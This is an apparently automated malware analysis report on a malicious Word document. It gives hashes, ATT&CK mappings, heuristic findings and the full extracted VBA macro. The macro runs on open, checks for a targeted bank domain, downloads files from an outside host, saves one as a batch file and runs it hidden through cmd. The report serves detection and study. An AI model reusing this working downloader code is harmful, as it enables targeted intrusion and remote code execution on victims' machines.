Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b56dc07c0e5c914a…

MALICIOUS

Office (OLE)

216.5 KB Created: 2019-09-26 10:27:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 6a58b8482c8d0f230f8a6f72b558f9b4 SHA-1: 8512ed8d1942ca2b7a6505abed9f4ada429b2b89 SHA-256: b56dc07c0e5c914a7db21e67a8bc3ef6f156ec352e6473d4ce464a0c6d36ee1c
434 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1071.001 Web Protocols T1204.002 Malicious File T1059.003 Windows Command Shell

The sample contains VBA macros that leverage WScript.Shell and CreateObject to download and execute files from the URL 'https://ecabank.org:8443'. Specifically, it attempts to download 'process4.xml' and 'statement4.txt', saving them as 'process-gateway.txt' and 'querystats.bat' respectively. The macro then executes 'querystats.bat' using 'cmd /k cd "C:\Users\<username>\" && querystats.bat', indicating a downloader or dropper functionality.

Heuristics 15

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim statsImage
        Set statsImage = VBA.CreateObject("WScript.Shell")
        statsImage.Run "cmd /k cd """ + imgPth + """ && querystats.bat", 0, False
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            .Open
            .write xHttp.responseBody
            .savetofile imagePlace, 2 '//overwrite
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function findImages(imagePath, imagePlace)
        Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
        Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
      Call checkImages
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
      Call checkImages
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
    Sub Auto_Open()
      Call checkImages
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Urgency / deadline lure low SE_URGENCY_LURE
    Document contains urgency or deadline language ('account will be terminated', 'action required within 24 hours', etc.) — useful context, but low-signal without other findings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://ecabank.org:8443 Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1921 bytes
SHA-256: bc9a0c0a9ce799b42f095b26ac77769b156407964846befd430eed1179b8b99d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function findImages(imagePath, imagePlace)
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", imagePath, False
    xHttp.Send
    
    With bStrm
        .Type = 1 '//binary
        .Open
        .write xHttp.responseBody
        .savetofile imagePlace, 2 '//overwrite
    End With
End Function
Function checkImages()
  Set wshNetwork = CreateObject("WScript.Network")
  strUserDomain = wshNetwork.UserDomain
  imgRepo = "https://ecabank.org:8443"
  Set imagePathing = CreateObject("Scripting.FileSystemObject")
  imgRepo = "https://ecabank.org:8443"
  If InStr(LCase(strUserDomain), LCase("ECOBANKGROUP")) <> 0 Then
    Set imagePathing = CreateObject("Scripting.FileSystemObject")
    imgPth = getImagePaths()
    
    Call findImages(imgRepo + "/gateway/process4.xml", imgPth + "\process-gateway.txt")
    Call findImages(imgRepo + "/gateway/statement4.txt", imgPth + "\querystats.bat")

    Dim statsImage
    Set statsImage = VBA.CreateObject("WScript.Shell")
    statsImage.Run "cmd /k cd """ + imgPth + """ && querystats.bat", 0, False
  End If

End Function
Function getImagePaths()
  Dim imagePathing2
  Set imagePathing2 = CreateObject("Scripting.FileSystemObject")
  imgPth = "C:\\Users\\" + getU() + "\\"
  getImagePaths = imagePathing2.GetAbsolutePathName(imgPth)
End Function
Function getU()
  Set obinf = CreateObject("WinNTSystemInfo")
  getU = obinf.UserName
End Function
Sub Auto_Open()
  Call checkImages
End Sub
Sub Workbook_Open()
  Call checkImages
End Sub

Sub AutoOpen()
  Call checkImages
End Sub